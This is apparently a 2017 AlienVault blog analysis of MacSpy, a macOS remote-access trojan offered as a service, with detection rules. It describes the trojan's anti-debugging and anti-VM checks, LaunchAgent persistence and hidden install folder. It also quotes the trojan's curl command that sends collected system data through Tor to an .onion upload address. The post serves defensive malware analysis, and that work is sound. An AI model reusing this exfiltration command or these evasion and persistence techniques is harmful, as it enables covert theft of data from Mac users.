MacSpy: OS X Mac RAT as a Service

June 9, 2017  |  Peter Ewane

MacSpy is advertised as the "most sophisticated Mac spyware ever”, with the low starting price of free. While the idea of malware-as-a-service (MaaS) isn’t a new one with players such as Tox and Shark the game, it can be said that MacSpy is one of the first seen for the OS X platform.

MacSpy home page

The authors state that they created this malware due to Apple products gaining popularity in the recent years. They also state that during their tenure in the field that they have noticed a lack of "sophisticated malware for Mac users" and they believe that "people were in need of such programs on MacOS". So they created MacSpy. The MacSpy authors claim to have the following features in the free version of their RAT:

MacSpy features

If you are willing to pay an unknown amount of bitcoins for the advanced version, the malware authors advertise the following features:

Advanced features for MacSpy

MacSpy is not as polished as some of the malware-as-a-service providers out there, as there doesn’t seem to be any customer facing automated service of signing up for their service. In order to receive a copy of MacSpy we had to email the author our preferred username and password, in order for them to make us an account. After confirming our details they created an account for us, and delivered a zipped file and the following instructions:

MacSpy email

Initial Analysis

After unzipping the archive we observed it contained the following files:

MacSpy files unzipped

The archive contains four files:

  • Mach-O 64-bit executable called 'updated'
  • Mach-O 64-bit executable called 'webkitproxy'
  • Mach-O 64-bit dynamically linked shared library called 'libevent-2.0.5.dylib'
  • Config file

After examining webkitproxy and libevent-2.0.5.dylib, we noted they are signed by Tor, and thus we concluded that they are related to the function of Tor Onion routing. The contents of the config file further convince us of our suspicions are correct:

Config Contents

SOCKSPort 47905 KeepAliveIsolateSOCKSAuth OnionTrafficOnly

DataDirectory proxyData

AvoidDiskWrites 1

ControlPort 47906

MaxCircuitDirtiness 7200

EnforceDistinctSubnets 0

HidServAuth .onion 

The "updated" file, on the other hand is not digitally signed, and it is currently completely undetected by various AV companies on VirusTotal.

VirusTotal for MacSpy


MacSpy has several countermeasures that hamper analysis efforts. To prevent debugging, it calls ptrace() with the PT_DENY_ATTACH option. This is a common anti-debugger check and will prevent debuggers from attaching to the process.

MacSpy Countermeasures

If you bypass the ptrace countermeasure, MacSpy has additional code that checks if it is running in a debugger.

MacSpy looking for debugger

The code above is very similar to the debugger checking code from this Stack Overflow post.

In addition to the anti-debugging countermeasures, MacSpy contains checks against the execution environment that can make it difficult to run in a virtual machine. In the code below, you can see that MacSpy checks that the number of physical CPUs is greater than 1, the number of logical cores is greater than 3, and the number of logical cores is twice the number of physical cores. MacSpy also checks that there is at least 4 GB of memory on the host. Since malware sandboxes often run with minimal resources, these checks can prevent proper execution in virtual environments.

MacSpy looking for Stack Overflow

Similar to MacRansom, MacSpy also compares the machine model to "Mac" using the 'sysctl' command. MacSpy will kill all Terminal windows which can be annoying to analysts using command line tools to analyze the malware (OSX/Dok exhibits similar behavior by killing Terminal windows).


In order to persist on the system the malware creates a launch entry in ~/Library/LaunchAgents/com.apple.webkit.plist. This ensures that the malware will run at start up to continue collecting information.


Behavior Analysis:

Upon execution, successfully passing the anti-analysis checks and setting persistence, the malware then copies itself and associated files from the original point of execution to "~/Library/.DS_Stores/" and deletes the original files in an attempt to stay hidden from the user. The malware then checks the functionality of its tor proxy by utilizing the curl command to contact the command and control server. After connecting to the CnC, the malware sends the data it had collected earlier, such as system information, by sending POST requests through the TOR proxy. This process repeats again for the various data the malware has collected. After exfiltration of the data, the malware deletes the temporary files containing the data it sent.

The following curl command used to exfiltrate data:

/usr/bin/curl --fail -m 25 --socks5-hostname -ks -X POST -H key: -H type:system -H Content-Type:multipart/form-data -F system=@'/Users//Library/.DS_Stores/data/tmp/SystemInfo' http://.onion/upload

Contents of ~/Library/.DS_Stores/data/tmp/SystemInfo

hostname            ’s Mac mini
os              Version 10.11.6 (Build 15G1510)
timezone            Europe/Zurich
languages           en,de
memory              4096
processorCount          2
systemUptime            19052.138692271
fireWall            0
mm              false
root                /Users//Library/.DS_Stores
identifier          Macmini6,1

/dev/disk0 (internal, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        *500.1 GB   disk0
   1:                        EFI EFI                     209.7 MB   disk0s1
   2:                  Apple_HFS Macintosh HD            499.2 GB   disk0s2
   3:                 Apple_Boot Recovery HD             650.0 MB   disk0s3


User Web Portal

In our initial email to the malware authors we sent a set of credentials that we wanted to use in their web portal. After logging into the MacSpy web portal you are greeted with a very bare bones directory listing containing a folder labeled the most recent date of the malware executing on a system in the YYYYMM format, followed by a folder in the DD format. Diving into that folder you're treated with a series of directories similar to that of the directory naming on the victim system. Inside these folders is the data that was collected from the victim the malware was executed on.

MacSp web portal



The best way to detect MacSpy running on a Mac is to use a combination of Network IDS (NIDS) rules as it communicates. As it turns out, AlienVault provides this rule in its threat intelligence, which has already been updated with a rule called 'System Compromise, Malware RAT, MacSpy'. This feeds into the USM correlation engine to generate an alarm that will notify AlienVault customers that one of their systems is compromised.


  "platform": "darwin",
  "version": "1.4.5",
  "queries": {
         "query":"select * from launchd where name = 'com.apple.webkit.plist';",
         "description”:"MacSpy Launch Agent",
         "value":"Artifact used by this malware"


You can use the rule below in any system that supports Yara to detect this Mac-based malware.

rule macSpy
        author = "AlienVault Labs"
        type = "malware"
        description = "MacSpy"
    $header0 = {cf fa ed fe}
    $header1 = {ce fa ed fe}
    $header2 = {ca fe ba be}
    $c1 = { 76 31 09 00 76 32 09 00 76 33 09 00 69 31 09 00 69 32 09 00 69 33 09 00 69 34 09 00 66 31 09 00 66 32 09 00 66 33 09 00 66 34 09 00 74 63 3A 00 }
       ($header0 at 0 or $header1 at 0 or $header2 at 0) and $c1


People generally assume when they are using Macs they are relatively safe from malware. This has been a generally true statement, but this belief is becoming less and less true by the day, as evidenced by the increasing diversity in mac malware along with this name family. While this piece of Mac malware may not be the most stealthy program, it is feature rich and it goes to show that as OS X continues to grow in market share and we can expect malware authors to invest greater amounts of time in producing malware for this platform.

If you want to find out more about this malware, here is a pulse we have in the AlienVault Open Threat Exchange (OTX):



Share this with others

Tags: rat, macosx, macspy

Featured resources



2024 Futures Report

Get price Free trial